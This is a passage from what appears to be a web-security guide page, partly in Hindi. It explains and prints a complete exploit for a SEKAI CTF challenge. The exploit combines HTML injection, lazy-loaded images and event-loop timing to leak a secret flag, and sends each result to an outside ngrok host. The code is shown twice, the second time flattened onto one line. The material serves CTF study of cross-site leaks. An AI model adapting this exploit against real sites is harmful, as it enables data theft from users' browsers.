Event Loop Blocking + Lazy images

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In this exploit, @aszx87410 लेज़ी इमेज साइड चैनल तकनीक को HTML इंजेक्शन के माध्यम से इवेंट लूप ब्लॉकिंग तकनीक के साथ मिलाता है ताकि अक्षरों को लीक किया जा सके।

यह एक अलग एक्सप्लॉइट है CTF चैलेंज के लिए जो पहले निम्नलिखित पृष्ठ में टिप्पणी की गई थी। चुनौती के बारे में अधिक जानकारी के लिए देखें:

Connection Pool Examples

इस एक्सप्लॉइट के पीछे का विचार है:

पोस्ट को वर्णानुक्रम में लोड किया जाता है
एक हमलावर एक पोस्ट को "A" से शुरू करके इंजेक्ट कर सकता है, फिर कुछ HTML टैग (जैसे एक बड़ा <canvas) अधिकांश स्क्रीन को भर देगा और कुछ अंतिम <img lazy टैग चीजें लोड करने के लिए।
यदि "A" के बजाय हमलावर उसी पोस्ट को इंजेक्ट करता है लेकिन "z" से शुरू करता है। तो फ्लैग वाला पोस्ट पहले दिखाई देगा, फिर इंजेक्टेड पोस्ट प्रारंभिक "z" और बड़े कैनवास के साथ दिखाई देगा। क्योंकि फ्लैग वाला पोस्ट पहले दिखाई दिया, पहला कैनवास पूरे स्क्रीन को भर देगा और अंतिम <img lazy टैग इंजेक्टेड स्क्रीन में नहीं दिखाई देंगे, इसलिए वे लोड नहीं होंगे।
फिर, जब बॉट पृष्ठ तक पहुँच रहा है, हमलावर फेच अनुरोध भेजेगा।
यदि पोस्ट में इंजेक्ट की गई छवियाँ लोड हो रही हैं, तो ये फेच अनुरोध लंबे समय तक चलेंगे, इसलिए हमलावर जानता है कि पोस्ट फ्लैग से पहले है (वर्णानुक्रम में)।
यदि फेच अनुरोध तेज हैं, तो इसका मतलब है कि पोस्ट वर्णानुक्रम में फ्लैग के बाद है।

Let's check the code:

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>

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Previousperformance.now + Force heavy task NextJavaScript Execution XS Leak

Last updated 3 days ago

<!DOCTYPE html> <html>  <body> <button onclick="run()">start</button>  <form id=f action="http://localhost:1234/create" method="POST" target="_blank"> <input id=inp name="text" value=""> </form>  <form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank"> <input id=inp2 name="index" value=""> </form> <script> let flag = 'SEKAI{' const TARGET = 'https://safelist.ctf.sekai.team' f.action = TARGET + '/create' f2.action = TARGET + '/remove' const sleep = ms => new Promise(r => setTimeout(r, ms)) // Function to leak info to attacker const send = data => fetch('http://server.ngrok.io?d='+data) const charset = 'abcdefghijklmnopqrstuvwxyz'.split('') // start exploit let count = 0 setTimeout(async () => { let L = 0 let R = charset.length - 1 // I have omited code here as apparently it wasn't necesary // fallback to linerar since I am not familiar with binary search lol for(let i=R; i>=L; i--) { let c = charset[i] send('try_' + flag + c) const found = await testChar(flag + c) if (found) { send('found: '+ flag+c) flag += c break } } }, 0) async function testChar(str) { return new Promise(resolve => { /* For 3350, you need to test it on your local to get this number. The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold If starts with "A", the image should be loaded because it's in the threshold. */ // <canvas height="3350px"> is experimental and allow to show the injected // images when the post injected is the first one but to hide them when // the injected post is after the post with the flag inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('') f.submit() setTimeout(() => { run(str, resolve) }, 500) }) } async function run(str, resolve) { // Open posts page 5 times for(let i=1; i<=5;i++) { window.open(TARGET) } let t = 0 const round = 30 //Lets time 30 requests setTimeout(async () => { // Send 30 requests and time each for(let i=0; i<round; i++) { let s = performance.now() await fetch(TARGET + '/?test', { mode: 'no-cors' }).catch(err=>1) let end = performance.now() t += end - s console.log(end - s) } const avg = t/round // Send info about how much time it took send(str + "," + t + "," + "avg:" + avg) /* I get this threshold(1000ms) by trying multiple times on remote admin bot for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold */ const isFound = (t >= 1000) if (isFound) { inp2.value = "0" } else { inp2.value = "1" } // remember to delete the post to not break our leak oracle f2.submit() setTimeout(() => { resolve(isFound) }, 200) }, 200) } </script> </body> </html>